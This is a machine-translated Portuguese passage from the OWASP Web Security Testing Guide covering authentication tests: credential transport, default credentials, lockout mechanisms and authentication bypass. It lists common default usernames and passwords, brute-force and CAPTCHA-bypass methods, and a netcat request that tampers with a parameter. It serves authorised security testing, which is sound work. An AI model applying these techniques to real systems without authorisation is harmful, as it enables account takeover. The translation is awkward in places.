4.4.3 Teste para Mecanismo de Bloqueio Fraco
4.4.4 Teste para Ignorar o Esquema de Autenticação
4.4.5 Testando para Vulnerável Lembrar Senha
4.4.6 Testando as Fraquezas do Cache do Navegador
4.4.7 Teste de Política de Senha Fraca
4.4.8 Testando para resposta de pergunta de segurança fraca
4.4.9 Teste de funcionalidade de alteração ou redefinição de senha fraca
4.4.10 Teste para Autenticação Fraca em Canal Alternativo

138
Teste de credenciais transportadas por um arquivo criptografado

Canal
EU IRIA
WSTG-ATHN-01
Resumo
O teste de transporte de credenciais verifica se os aplicativos da web criptografam os dados de autenticação em trânsito. Essa criptografia impede que
invasores assumam contas ao farejar o tráfego de rede. Aplicativos da Web usam HTTPS para criptografar informações em trânsito para comunicações de
cliente para servidor e de servidor para cliente. Um cliente pode enviar ou receber
dados de autenticação durante as seguintes interações:
Um cliente envia uma credencial para solicitar login
O servidor responde a um login bem-sucedido com um token de sessão
Um cliente autenticado envia um token de sessão para solicitar informações confidenciais do site
Um cliente envia um token para o site se esquecer sua senha
A falha em criptografar qualquer uma dessas credenciais em trânsito pode permitir que invasores com ferramentas de detecção de rede visualizem as
credenciais e possivelmente as usem para roubar a conta de um usuário. O invasor pode farejar o tráfego diretamente usando o Wireshark ou ferramentas
semelhantes, ou podem configurar um proxy para capturar solicitações HTTP. Os dados confidenciais devem ser criptografados em trânsito para evitar isso.
O fato de o tráfego ser criptografado não significa necessariamente que seja totalmente seguro. A segurança também depende do algoritmo de criptografia
usado e da robustez das chaves que o aplicativo está usando. Consulte Testando a segurança fraca da camada de transporte para verificar se o algoritmo
de criptografia é suficiente.
Objetivos do teste
Avalie se algum caso de uso do site ou aplicativo faz com que o servidor ou o cliente troque credenciais sem criptografia.
Como testar
Para testar o transporte de credenciais, capture o tráfego entre um cliente e o servidor de aplicativos da web que precisa de credenciais.
Verifique as credenciais transferidas durante o login e ao usar o aplicativo com uma sessão válida. Para configurar para o teste:
1. Configure e inicie uma ferramenta para capturar tráfego, como uma das seguintes:
As ferramentas de desenvolvedor do navegador da Web
Um proxy incluindo OWASP ZAP
2. Desative todos os recursos ou plug-ins que fazem o navegador da Web favorecer o HTTPS. Alguns navegadores ou extensões, como
HTTPS em todos os lugares, irá combater a navegação forçada redirecionando solicitações HTTP para HTTPS.
No tráfego capturado, procure dados confidenciais, incluindo o seguinte:
Frases secretas ou senhas, geralmente dentro de um corpo de mensagem
Tokens, geralmente dentro de cookies
Códigos de redefinição de conta ou senha
Para qualquer mensagem que contenha esses dados confidenciais, verifique se a troca ocorreu usando HTTPS (e não HTTP). Os exemplos a seguir
mostram dados capturados que indicam testes aprovados ou reprovados, onde o aplicativo da web está em um servidor chamado www.example.org .
139
Login
Encontre o endereço da página de login e tente mudar o protocolo para HTTP. Por exemplo, o URL para a navegação forçada pode ter a seguinte aparência:
http://www.example.org/login .
Se a página de login for normalmente HTTPS, tente remover o “S” para ver se a página de login carrega como HTTP.
Faça login usando uma conta válida ao tentar forçar o uso de HTTP não criptografado. Em um teste aprovado, a solicitação de login deve ser HTTPS:
URL de solicitação: https://www.example.org/j_acegi_security_check Método de

solicitação: POST
...
Cabeçalhos de resposta:
HTTP/1.1 302 Encontrado
terça-feira, 29 de setembro de 2020 00:59:04
GMT Codificação de transferência: fragmentada
Conexão: keep-alive X-Content-Type-Options:
nosniff Expira: quinta-feira, 01 de janeiro de
1970 00:00: 00 GMT Set-Cookie:
JSESSIONID.a7731d09=node01ai3by8hip0g71kh3ced41pmqf4.node0; Caminho=/; Seguro; HttpOnly
ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=dXNlcmFiYzoxNjAyNTUwNzQ0NDU3OjFmNDlmYTZhOGI1YTZkYTYxNDIwYWV
mNmM0OTI1OGFhODA3Y2ZmMjg4MDM3YjcwODdmN2I2NjMwOcWIy=MDU3WIy; Caminho=/; Expira = terça-feira, 13 de outubro de
2020 00:59:04 GMT; Max-Idade=1209600; Seguro; Localização HttpOnly: https://www.example.org/
...
Dados POST:
j_username=userabc
j_password=My-Protected-Password-452 from=/
Enviar=Entrar
No login, as credenciais são criptografadas devido à URL de solicitação HTTPS
Se o servidor retornar informações de cookie para um token de sessão, o cookie também deve incluir o atributo Secure para evitar que o cliente
exponha o cookie em canais não criptografados posteriormente. Procure a palavra-chave Secure no cabeçalho de resposta.
O teste falha se algum login transferir uma credencial por HTTP, semelhante ao seguinte:
URL de solicitação: http://www.example.org/j_acegi_security_check Método de

solicitação: POST
...
Dados de postagem:
j_username=userabc
j_password=Minha-Senha-Protegida-452 de=/
Enviar=Entrar
Neste exemplo de teste com falha:
O URL de busca é http:// e expõe o texto simples j_username e j_password por meio dos dados da postagem.
Nesse caso, como o teste já mostra os dados POST expondo todas as credenciais, não faz sentido verificar os cabeçalhos de resposta (o que
provavelmente também exporia um token ou cookie de sessão).
Criação de conta
Para testar a criação de conta não criptografada, tente forçar a navegação para a versão HTTP da criação da conta e crie uma conta, por exemplo: http://
www.example.org/securityRealm/createAccount
140
O teste passa se, mesmo após a navegação forçada, o cliente ainda enviar a solicitação de nova conta por HTTPS:
URL de solicitação: https://www.example.org/securityRealm/createAccount Método de

solicitação: POST
...
Cabeçalhos de
resposta: HTTP/1.1 200 OK
terça-feira, 29 de setembro de 2020 01:11:50
GMT Tipo de conteúdo: text/html;charset=utf-8
Comprimento do conteúdo: 3139 Conexão: opções
de tipo de conteúdo X keep-alive : nosniff Set-
Cookie:
JSESSIONID.a7731d09=node011yew1ltrsh1x1k3m6g6b44tip8.node0; Caminho=/; Seguro; HttpOnly Expira: 0 Cache-Control: sem
cache, sem armazenamento, deve-revalidar X-Hudson-Theme: padrão
Referrer-Policy: mesma origem Cross-

Origin-Opener-Policy: mesma origem X-Hudson: 1.395
X Jenkins: 2.257
X-Jenkins-Sessão: 4551da08
Porta X-Hudson-CLI: 50000
Porta X-Jenkins-CLI: 50000
X-Jenkins-CLI2-Port: 50000
X-Frame-Options: sameorigin
Codificação de conteúdo: gzip
X-Instance-Identity:
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3344ru7RK0jgdpKs3cfrBy2tteYI1laGpbP4fr5zOx2b/1OEvbVioU5U
btfIUHruD9N7jBG+KG4pcWfUiXdLp2skrBYsXBfiwUDA8Wam3wSbJWTmPfSRiIu4dsfIedj0bYX5zJSa6QPLxYolaKtBP4vEnP6l
BFqW2vMuzaN6QGReAxM4NKWTijFtpxjchyLQ2o+K5mSEJQIWDIqhv1sKxdM9zkb6pW/rI1deJJMSih66les5kXgbH2fnO7Fz6di8
8jT1tAHoaXWkPM9X0EbklkHPT9b7RVXziOURXVIPUTU5u+LYGkNavEb+bdPmsD94elD/cf5ZqdGNoOAE5AYS0QIDAQAB
...
Dados de postagem:
nome de usuário=usuário456
nome completo=Usuário 456
password1=Minha-Senha-Protegida-808
Enviar=Criar conta
Jenkins-Crumb=58e6f084fd29ea4fe570c31f1d89436a0578ef4d282c1bbe03ffac0e8ad8efd6
Semelhante a um login, a maioria dos aplicativos da Web fornece automaticamente um token de sessão em uma criação de conta bem-sucedida.
Se houver um Set-Cookie: , verifique se ele possui um Secure; atributo também.
O teste falhará se o cliente enviar uma nova solicitação de conta com HTTP não criptografado:
URL de solicitação: http://www.example.org/securityRealm/createAccount Método de

solicitação: POST
...
Dados de postagem:
nome de usuário=usuário456
nome completo=Usuário 456
Enviar=Criar conta
Jenkins-Crumb=8c96276321420cdbe032c6de141ef556cab03d91b25ba60be8fd3d034549cdd3
Este formulário de criação de usuário Jenkins expôs todos os novos detalhes do usuário (nome, nome completo e senha) em dados POST para
a página de criação de conta HTTP
Redefinição de senha, alteração de senha ou outra manipulação de conta

141
Semelhante ao login e à criação de conta, se o aplicativo da web tiver recursos que permitem que um usuário altere uma conta ou chame um serviço
diferente com credenciais, verifique se todas essas interações são HTTPS. As interações a serem testadas incluem o seguinte:
Formulários que permitem aos usuários lidar com uma senha esquecida ou outra credencial
Formulários que permitem aos usuários editar credenciais
Formulários que exigem que o usuário se autentique com outro provedor (por exemplo, processamento de pagamento)
Acessando recursos enquanto conectado

Após o login, acesse todas as funcionalidades do aplicativo, inclusive as públicas que não necessitam necessariamente de um login para acessar.
Navegação forçada para a versão HTTP do site para ver se o cliente vaza credenciais.
O teste passa se todas as interações enviarem o token de sessão por HTTPS semelhante ao exemplo a seguir:
URL de solicitação:http://www.example.org/
Método de solicitação:GET
...
Cabeçalhos de
solicitação: GET /
HTTP/1.1 Host:
www.example.org User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Aceitar:
text/html,application/xhtml+xml, application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br DNT: 1 Connection: Keep-alive Cookie :
JSESSIONID.a7731d09=node01ai3by8hip0g71kh3ced41pmqf4.node0;
ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=dXNlcmFiYzoxNjAyNTUwNzQ0NDU3OjFmNDlmYTZhOGI1YTZkYTYxNDIwYWV
mNmM0OTI1OGFhODA3Y2ZmMjg4MDM3YjcwODdmN2I2NjMwOWIyMDU3NTc=; screenResolution=1920x1200 Solicitações inseguras
de atualização: 1
O token de sessão no cookie é criptografado, pois a URL da solicitação é HTTPS
O teste falha se o navegador enviar um token de sessão por HTTP em qualquer parte do site, mesmo que a navegação forçada seja necessária para
acionar este caso:
URL de solicitação:http://www.example.org/
Método de solicitação:GET
...
Cabeçalhos de
solicitação: GET / HTTP/1.1
Host: www.example.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Aceitar: text/html,application/
xhtml+xml,application/xml;q=0.9, */*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Connection: keep-alive Cookie: language=en; welcomebanner_status=dispensar; cookieconsent_status=dispensar;
resolução de tela=1920x1200; JSESSIONID.c1e7b45b=node01warjbpki6icgxkn0arjbivo84.node0 Solicitações
inseguras de atualização: 1
A solicitação GET expôs o token de sessão JSESSIONID (do navegador para o servidor) na URL da solicitação
http://www.example.org/
Remediação
Use HTTPS para todo o site. Implementar HSTS e redirecione qualquer HTTP para HTTPS. O site obtém os seguintes benefícios ao usar HTTPS
para todos os seus recursos:
Machine
142
Ele impede que os invasores modifiquem as interações com o servidor da Web (incluindo a colocação de malware JavaScript por meio de
um roteador comprometido).
Evita a perda de clientes para avisos de sites inseguros. Novos navegadores marcam sites baseados em HTTP como inseguros.
Facilita a escrita de certos aplicativos. Por exemplo, as APIs do Android precisam de substituições para se conectar a qualquer coisa via
HTTP.
Se for complicado mudar para HTTPS, priorize HTTPS para operações confidenciais primeiro. A médio prazo, planeje converter todo o
aplicativo para HTTPS para evitar a perda de clientes por comprometimento ou os avisos de HTTP inseguro. Se a organização ainda não
comprar certificados para HTTPS, consulte Let's Encrypt ou outro certificado gratuito
autoridades no servidor.
143
Teste de credenciais padrão
EU IRIA
WSTG-ATHN-02
Resumo
Hoje em dia, os aplicativos da Web costumam fazer uso de software popular de código aberto ou comercial que pode ser instalado em
servidores com configuração ou personalização mínimas pelo administrador do servidor. Além disso, muitos dispositivos de hardware (ou seja,
roteadores de rede e servidores de banco de dados) oferecem configuração baseada na Web ou interfaces administrativas.
Geralmente, esses aplicativos, uma vez instalados, não são configurados corretamente e as credenciais padrão fornecidas para autenticação
e configuração inicial nunca são alteradas. Essas credenciais padrão são bem conhecidas pelos testadores de penetração e, infelizmente,
também por invasores mal-intencionados, que podem usá-las para obter acesso a vários tipos de aplicativos.
Além disso, em muitas situações, quando uma nova conta é criada em um aplicativo, uma senha padrão (com algumas características padrão)
é gerada. Se essa senha for previsível e o usuário não a alterar no primeiro acesso, isso pode levar um invasor a obter acesso não autorizado
ao aplicativo.
A causa raiz desse problema pode ser identificada como:
Pessoal de TI inexperiente, que desconhece a importância de alterar senhas padrão em componentes de infraestrutura instalados, ou
deixar a senha padrão para “facilidade de manutenção”.
Programadores que deixam portas traseiras para acessar e testar facilmente seus aplicativos e depois se esquecem de removê-los.
Aplicativos com contas padrão não removíveis integradas com nome de usuário e senha predefinidos.
Aplicativos que não forçam o usuário a alterar as credenciais padrão após o primeiro login.
Objetivos do teste
Enumere os aplicativos para credenciais padrão e valide se eles ainda existem.
Revise e avalie novas contas de usuário e se elas foram criadas com quaisquer padrões ou padrões identificáveis.
Como testar
Teste de credenciais padrão de aplicativos comuns No teste de caixa preta, o
testador não sabe nada sobre o aplicativo e sua infraestrutura subjacente. Na realidade, isso geralmente não é verdade e algumas informações
sobre o aplicativo são conhecidas. Supomos que você tenha identificado, por meio do uso das técnicas descritas neste Guia de Teste no
capítulo Coleta de Informações, pelo menos um ou mais aplicativos comuns que podem conter interfaces administrativas acessíveis.
Depois de identificar uma interface de aplicativo, por exemplo, uma interface da Web do roteador Cisco ou um portal do administrador
WebLogic, verifique se os nomes de usuário e senhas conhecidos para esses dispositivos não resultam em autenticação bem-sucedida. Para
fazer isso, você pode consultar a documentação do fabricante ou, de forma muito mais simples, pode encontrar credenciais comuns usando
um mecanismo de busca ou usando um dos sites ou ferramentas listadas na seção Referência.
Ao enfrentar aplicativos em que não temos uma lista de contas de usuário padrão e comuns (por exemplo, devido ao fato de o aplicativo não
ser amplamente difundido), podemos tentar adivinhar credenciais padrão válidas. Observe que o aplicativo que está sendo testado pode ter
uma política de bloqueio de conta ativada e várias tentativas de adivinhação de senha com um nome de usuário conhecido podem fazer com
que a conta seja bloqueada. Se for possível bloquear a conta do administrador, pode ser problemático para o administrador do sistema redefini-
la.
144
Muitos aplicativos têm mensagens de erro detalhadas que informam os usuários do site sobre a validade dos nomes de usuário inseridos.
Essas informações serão úteis ao testar contas de usuário padrão ou adivinháveis. Essa funcionalidade pode ser encontrada, por exemplo,
na página de login, redefinição de senha e página de senha esquecida e página de inscrição. Depois de encontrar um nome de usuário
padrão, você também pode começar a adivinhar as senhas dessa conta.
Mais informações sobre este procedimento podem ser encontradas nas seguintes seções:
Teste para enumeração de usuário e teste de conta de usuário
adivinhável para política de senha fraca.
Como esses tipos de credenciais padrão geralmente estão vinculados a contas administrativas, você pode proceder desta maneira:
Tente os seguintes nomes de usuário - “admin”, “administrador”, “root”, “sistema”, “convidado”, “operador” ou “super”. Eles são
populares entre os administradores de sistema e são frequentemente usados. Além disso, você pode tentar “qa”, “test”, “test1”,
“testing” e nomes semelhantes. Tente qualquer combinação das opções acima nos campos de nome de usuário e senha. Se o
aplicativo for vulnerável à enumeração de nome de usuário e você conseguir identificar qualquer um dos nomes de usuário acima,
tente senhas de maneira semelhante. Além disso, tente uma senha vazia ou uma das seguintes “senha”, “senha123”, “senha123”,
“admin” ou “convidado” com as contas acima ou quaisquer outras contas enumeradas. Outras permutações do acima também podem
ser tentadas. Se essas senhas falharem, pode valer a pena usar uma lista comum de nome de usuário e senha e tentar várias
solicitações no aplicativo. Isso pode, é claro, ser roteirizado para economizar tempo.
Os usuários administrativos do aplicativo geralmente recebem o nome do aplicativo ou da organização. Isso significa que, se você
estiver testando um aplicativo chamado “Obscuridade”, tente usar obscuridade/obscuridade ou qualquer outra combinação semelhante
como nome de usuário e senha.
Ao realizar um teste para um cliente, tente usar nomes de contatos que você recebeu como nomes de usuário com senhas comuns.
Os endereços de e-mail do cliente revelam a convenção de nomenclatura das contas de usuário: se o funcionário “John Doe” tiver o
endereço de e-mail jdoe@example.com , você pode tentar encontrar os nomes dos administradores do sistema nas mídias sociais e
adivinhar o nome de usuário aplicando a mesma convenção de nomenclatura ao nome deles.
Tente usar todos os nomes de usuário acima com senhas em branco.
Revise a origem da página e o JavaScript por meio de um proxy ou visualizando a origem. Procure referências a usuários e senhas
na fonte. Por exemplo , se username='admin' então starturl=/admin.asp senão /index.asp (para um login bem-sucedido versus um
login com falha). Além disso, se você tiver uma conta válida, faça login e visualize todas as solicitações e respostas para um login
válido versus um login inválido, como parâmetros ocultos adicionais, solicitação GET interessante (login = sim) etc.
Procure nomes de contas e senhas escritas em comentários no código-fonte. Procure também nos diretórios de backup o código-fonte
(ou backups do código-fonte) que possam conter comentários e códigos interessantes.
Testando a senha padrão de novas contas

Também pode ocorrer que, quando uma nova conta é criada em um aplicativo, a conta receba uma senha padrão. Essa senha pode ter
algumas características padrão tornando-a previsível. Se o usuário não alterá-lo no primeiro uso (isso geralmente acontece se o usuário
não for forçado a alterá-lo) ou se o usuário ainda não tiver feito logon no aplicativo, isso pode levar um invasor a obter acesso não autorizado
ao aplicativo.
O conselho dado anteriormente sobre uma possível política de bloqueio e mensagens de erro detalhadas também são aplicáveis aqui ao
testar senhas padrão.
As etapas a seguir podem ser aplicadas para testar esses tipos de credenciais padrão:
Observar a página de registro do usuário pode ajudar a determinar o formato esperado e o comprimento mínimo ou máximo dos
nomes de usuário e senhas do aplicativo. Se não existir uma página de registro de usuário, determine se a organização usa uma
convenção de nomenclatura padrão para nomes de usuário, como endereço de e-mail ou o nome antes do @ no e-mail.
Tente extrapolar do aplicativo como os nomes de usuário são gerados. Por exemplo, um usuário pode escolher seu próprio nome de
usuário ou o sistema gera um nome de conta para o usuário com base em algumas informações pessoais ou por
145
usando uma sequência previsível? Se o aplicativo gerar os nomes das contas em uma sequência previsível, tente fuzzing todas as contas
como o usuário7811 possíveis recursivamente. Se você puder identificar uma resposta diferente do aplicativo ao usar um nome de usuário
válido e uma senha errada, tente um ataque de força bruta no nome de usuário válido (ou tente rapidamente qualquer uma das senhas comuns
identificadas acima ou na seção de referência).
Tente determinar se a senha gerada pelo sistema é previsível. Para fazer isso, crie muitas contas novas rapidamente uma após a outra para
poder comparar e determinar se as senhas são previsíveis. Se previsível, tente correlacioná-los com os nomes de usuário ou quaisquer contas
enumeradas e use-os como base para um ataque de força bruta.
Se você identificou a convenção de nomenclatura correta para o nome de usuário, tente senhas de “força bruta” com alguma sequência previsível
comum, como por exemplo, datas de nascimento.
Tente usar todos os nomes de usuário acima com senhas em branco ou usar o nome de usuário também como valor de senha.
As etapas a seguir dependem de uma abordagem inteiramente de caixa cinza. Se apenas algumas dessas informações estiverem disponíveis para você, consulte o
teste de caixa preta para preencher as lacunas.
Fale com o pessoal de TI para determinar quais senhas eles usam para acesso administrativo e como a administração do aplicativo é realizada.
Pergunte ao pessoal de TI se as senhas padrão foram alteradas e se as contas de usuário padrão foram desativadas.
Examine o banco de dados do usuário em busca de credenciais padrão, conforme descrito na seção de teste de caixa preta. Verifique também
os campos de senha vazios.
Examine o código para nomes de usuário e senhas codificados.
Verifique os arquivos de configuração que contêm nomes de usuário e senhas.
Examine a política de senha e, se o aplicativo gerar suas próprias senhas para novos usuários, verifique a política em uso para este procedimento.
Ferramentas
Arroto Intruso
THC Hidra
Nikto 2
Referências
CIRT
146
Teste para mecanismo de bloqueio fraco
EU IRIA
WSTG-ATHN-03
Resumo
Mecanismos de bloqueio de conta são usados para mitigar ataques de força bruta. Alguns dos ataques que podem ser derrotados usando o
mecanismo de bloqueio:
Ataque de adivinhação de senha de login ou nome de usuário.
Adivinhação de código em qualquer funcionalidade 2FA ou perguntas de segurança.
Os mecanismos de bloqueio de conta exigem um equilíbrio entre a proteção de contas contra acesso não autorizado e a proteção dos usuários
contra o acesso autorizado negado. As contas são normalmente bloqueadas após 3 a 5 tentativas malsucedidas e só podem ser desbloqueadas
após um período de tempo predeterminado, por meio de um mecanismo de desbloqueio de autoatendimento ou intervenção de um
administrador.
Apesar de ser fácil realizar ataques de força bruta, o resultado de um ataque bem-sucedido é perigoso, pois o invasor terá acesso total à
conta do usuário e com ela todas as funcionalidades e serviços aos quais ele tem acesso.
Objetivos do teste
Avalie a capacidade do mecanismo de bloqueio de conta para atenuar a adivinhação de senha de força bruta.
Avalie a resistência do mecanismo de desbloqueio ao desbloqueio não autorizado da conta.
Como testar
Mecanismo de Bloqueio
Para testar a força dos mecanismos de bloqueio, você precisará acessar uma conta que deseja ou pode bloquear.
Se você tiver apenas uma conta com a qual pode fazer logon no aplicativo da web, execute este teste no final do seu plano de teste para
evitar perder tempo de teste por ser bloqueado.
Para avaliar a capacidade do mecanismo de bloqueio de conta de atenuar a adivinhação de senha de força bruta, tente um login inválido
usando a senha incorreta várias vezes, antes de usar a senha correta para verificar se a conta foi bloqueada. Um exemplo de teste pode ser
o seguinte:
1. Tente fazer login com uma senha incorreta 3 vezes.
2. Faça login com sucesso com a senha correta, mostrando assim que o mecanismo de bloqueio não é acionado após 3
tentativas de autenticação incorretas.
4. Faça login com sucesso com a senha correta, mostrando assim que o mecanismo de bloqueio não é acionado após 4
tentativas de autenticação incorretas.
6. Tente fazer login com a senha correta. O aplicativo retorna “Sua conta está bloqueada.”, Assim
confirmando que a conta está bloqueada após 5 tentativas incorretas de autenticação.
7. Tente fazer login com a senha correta 5 minutos depois. O aplicativo retorna “Sua conta está bloqueada.”,
mostrando assim que o mecanismo de bloqueio não desbloqueia automaticamente após 5 minutos.
8. Tente fazer login com a senha correta 10 minutos depois. O aplicativo retorna “Sua conta está bloqueada.”,
mostrando assim que o mecanismo de bloqueio não desbloqueia automaticamente após 10 minutos.
147
9. Faça login com sucesso com a senha correta 15 minutos depois, mostrando assim que o mecanismo de bloqueio é desbloqueado automaticamente após um período
de 10 a 15 minutos.
Um CAPTCHA pode impedir ataques de força bruta, mas eles podem vir com seu próprio conjunto de pontos fracos e não devem substituir um mecanismo de bloqueio.
Um mecanismo CAPTCHA pode ser ignorado se implementado incorretamente. As falhas do CAPTCHA incluem:
1. Desafio facilmente vencido, como aritmética ou conjunto limitado de perguntas.
2. O CAPTCHA verifica o código de resposta HTTP em vez do sucesso da resposta.
3. A lógica do lado do servidor CAPTCHA é padronizada para uma solução bem-sucedida.
4. O resultado do desafio CAPTCHA nunca é validado do lado do servidor.
5. O campo ou parâmetro de entrada CAPTCHA é processado manualmente e é validado incorretamente ou escapado.
Para avaliar a eficácia do CAPTCHA:
1. Avalie os desafios do CAPTCHA e tente automatizar soluções dependendo da dificuldade.
2. Tente enviar a solicitação sem resolver o CAPTCHA por meio do(s) mecanismo(s) normal(is) da interface do usuário.
3. Tentativa de envio de solicitação com falha intencional do desafio CAPTCHA.
4. Tentativa de enviar a solicitação sem resolver o CAPTCHA (assumindo que alguns valores padrão podem ser passados pelo lado do cliente
código, etc) ao usar um proxy de teste (solicitação enviada diretamente do lado do servidor).
5. Tente fazer fuzz nos pontos de entrada de dados CAPTCHA (se houver) com cargas úteis de injeção comuns ou caracteres especiais
sequências.
6. Verifique se a solução para o CAPTCHA pode ser o texto alternativo da(s) imagem(ns), nome(s) do(s) arquivo(s) ou um valor em um associado
campo oculto.
7. Tentativa de reenviar respostas boas conhecidas previamente identificadas.
8. Verifique se a limpeza de cookies faz com que o CAPTCHA seja ignorado (por exemplo, se o CAPTCHA for exibido apenas após um
número de falhas).
9. Se o CAPTCHA fizer parte de um processo de várias etapas, tente simplesmente acessar ou concluir uma etapa além do CAPTCHA (por exemplo, se o CAPTCHA
for a primeira etapa em um processo de login, tente simplesmente enviar a segunda etapa [nome de usuário e senha] ).
10. Verifique se há métodos alternativos que podem não ter o CAPTCHA aplicado, como um endpoint de API destinado a facilitar
acesso ao aplicativo móvel.
Repita esse processo para todas as funcionalidades possíveis que possam exigir um mecanismo de bloqueio.
Mecanismo de Desbloqueio
Para avaliar a resistência do mecanismo de desbloqueio ao desbloqueio não autorizado da conta, inicie o mecanismo de desbloqueio e procure pontos fracos. Mecanismos
de desbloqueio típicos podem envolver perguntas secretas ou um link de desbloqueio enviado por e-mail. O link de desbloqueio deve ser um link único, para impedir que
um invasor adivinhe ou reproduza o link e execute a força bruta

ataques em lotes.
Observe que um mecanismo de desbloqueio só deve ser usado para desbloquear contas. Não é o mesmo que um mecanismo de recuperação de senha, mas pode seguir
as mesmas práticas de segurança.
Remediação
Aplique mecanismos de desbloqueio de conta dependendo do nível de risco. Em ordem da garantia mais baixa para a mais alta:
1. Bloqueio e desbloqueio com base no tempo.
2. Desbloqueio de autoatendimento (envia e-mail de desbloqueio para endereço de e-mail registrado).
3. Desbloqueio manual do administrador.
4. Desbloqueio manual do administrador com identificação positiva do usuário.

148
Fatores a serem considerados ao implementar um mecanismo de bloqueio de conta:
1. Qual é o risco de adivinhação de senha de força bruta contra o aplicativo?
2. Um CAPTCHA é suficiente para mitigar esse risco?
3. Um mecanismo de bloqueio do lado do cliente está sendo usado (por exemplo, JavaScript)? (Em caso afirmativo, desative o código do lado do cliente para testar.)
4. Número de tentativas malsucedidas de login antes do bloqueio. Se o limite de bloqueio for muito baixo, os usuários válidos podem ser bloqueados com muita
frequência. Se o limite de bloqueio for muito alto, mais tentativas um invasor pode fazer para forçar a conta antes que ela seja bloqueada. Dependendo da
finalidade do aplicativo, um intervalo de 5 a 10 tentativas malsucedidas é o limite de bloqueio típico.
5. Como as contas serão desbloqueadas?
eu. Manualmente por um administrador: este é o método de bloqueio mais seguro, mas pode causar transtornos aos usuários
e ocupam o “valioso” tempo do administrador.
uma. Observe que o administrador também deve ter um método de recuperação caso sua conta seja bloqueada.
b. Esse mecanismo de desbloqueio pode levar a um ataque de negação de serviço se o objetivo de um invasor for bloquear as contas de todos os
usuários do aplicativo da web.
ii. Após um período de tempo: Qual é a duração do bloqueio? Isso é suficiente para o aplicativo que está sendo protegido? Por exemplo, uma duração de
bloqueio de 5 a 30 minutos pode ser um bom compromisso entre mitigar ataques de força bruta e incomodar usuários válidos.
iii. Por meio de um mecanismo de autoatendimento: Como dito anteriormente, esse mecanismo de autoatendimento deve ser seguro o suficiente para evitar
que o próprio invasor possa desbloquear as contas.
Referências
Veja o artigo da OWASP sobre Brute Force Ataques.
Esqueci a Senha CS.

Machine
149
Testando para Ignorar o Esquema de Autenticação
EU IRIA
WSTG-ATHN-04
Resumo
Em segurança de computadores, a autenticação é o processo de tentar verificar a identidade digital do remetente de uma comunicação. Um exemplo comum
de tal processo é o processo de logon. Testar o esquema de autenticação significa entender como o processo de autenticação funciona e usar essas
informações para burlar o mecanismo de autenticação.
Embora a maioria dos aplicativos exija autenticação para obter acesso a informações privadas ou para executar tarefas, nem todos os métodos de autenticação
são capazes de fornecer segurança adequada. Negligência, ignorância ou simples subestimação das ameaças de segurança geralmente resultam em
esquemas de autenticação que podem ser ignorados simplesmente ignorando a página de login e chamando diretamente uma página interna que deve ser
acessada somente após a autenticação.
Além disso, muitas vezes é possível contornar as medidas de autenticação adulterando as solicitações e enganando o aplicativo fazendo-o pensar que o
usuário já está autenticado. Isso pode ser feito modificando o parâmetro de URL fornecido, manipulando o formulário ou falsificando sessões.
Problemas relacionados ao esquema de autenticação podem ser encontrados em diferentes estágios do ciclo de vida do desenvolvimento de software
(SDLC), como as fases de design, desenvolvimento e implantação:
Na fase de design, os erros podem incluir uma definição incorreta das seções do aplicativo a serem protegidas, a escolha de não aplicar protocolos de
criptografia fortes para proteger a transmissão de credenciais e muito mais.
Na fase de desenvolvimento, os erros podem incluir a implementação incorreta da funcionalidade de validação de entrada ou não seguir as melhores
práticas de segurança para o idioma específico.
Na fase de implantação do aplicativo, pode haver problemas durante a configuração do aplicativo (atividades de instalação e configuração) devido à
falta de habilidades técnicas necessárias ou devido à falta de boa documentação.
Objetivos do teste
Certifique-se de que a autenticação seja aplicada em todos os serviços que a exigem.
Como testar
Existem vários métodos para ignorar o esquema de autenticação usado por um aplicativo da web:
Solicitação de página direta (navegação forçada)

Modificação de parâmetro
Previsão de ID de sessão
injeção SQL
Solicitação de página direta
Se um aplicativo da Web implementa o controle de acesso apenas na página de login, o esquema de autenticação pode ser ignorado.
Por exemplo, se um usuário solicitar diretamente uma página diferente por meio de navegação forçada, essa página pode não verificar as credenciais do
usuário antes de conceder acesso. Tente acessar diretamente uma página protegida por meio da barra de endereços do navegador para testar esse método.
150
Figura 4.4.4-1: Solicitação Direta para Página Protegida
Modificação de Parâmetros
Outro problema relacionado ao design de autenticação é quando o aplicativo verifica um login bem-sucedido com base em parâmetros de valor fixo. Um
usuário pode modificar esses parâmetros para obter acesso às áreas protegidas sem fornecer credenciais válidas. No exemplo abaixo, o parâmetro
“authenticated” é alterado para um valor de “yes”, que permite o acesso do usuário. Neste exemplo, o parâmetro está na URL, mas um proxy também
pode ser usado para modificar o parâmetro, especialmente quando os parâmetros são enviados como elementos de formulário em uma solicitação
POST ou quando os parâmetros são
armazenados em um cookie.
http://www.site.com/page.asp?authenticated=no
raven@blackbox /home $nc www.site.com 80 GET /

page.asp?authenticated=yes HTTP/1.0
HTTP/1.1 200 OK
Data: sábado, 11 de novembro de 2006 10:22:44 GMT
Servidor: Apache
Conexão: fechar
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<HTML><HEAD>
</HEAD><BODY>
<H1>Você está autenticado</H1>
</BODY></HTML>
151
Figura 4.4.4-2: Solicitação de Parâmetro Modificado
Previsão de ID de sessão
Muitos aplicativos da Web gerenciam a autenticação usando identificadores de sessão (IDs de sessão). Portanto, se a geração do ID de
sessão for previsível, um usuário mal-intencionado poderá encontrar um ID de sessão válido e obter acesso não autorizado ao aplicativo,
representando um usuário previamente autenticado.
Na figura a seguir, os valores dentro dos cookies aumentam linearmente, portanto, pode ser fácil para um invasor adivinhar uma ID de sessão
válida.
Figura 4.4.4-3: Valores de Cookie ao longo do tempo
Na figura a seguir, os valores dentro dos cookies mudam apenas parcialmente, portanto é possível restringir um ataque de força bruta aos
campos definidos mostrados abaixo.
152
Figura 4.4.4-4: Valores de Cookie Parcialmente Alterados
SQL Injection (autenticação de formulário HTML)
SQL Injection é uma técnica de ataque amplamente conhecida. Esta seção não descreve esta técnica em detalhes, pois há várias seções
neste guia que explicam as técnicas de injeção além do escopo desta seção.
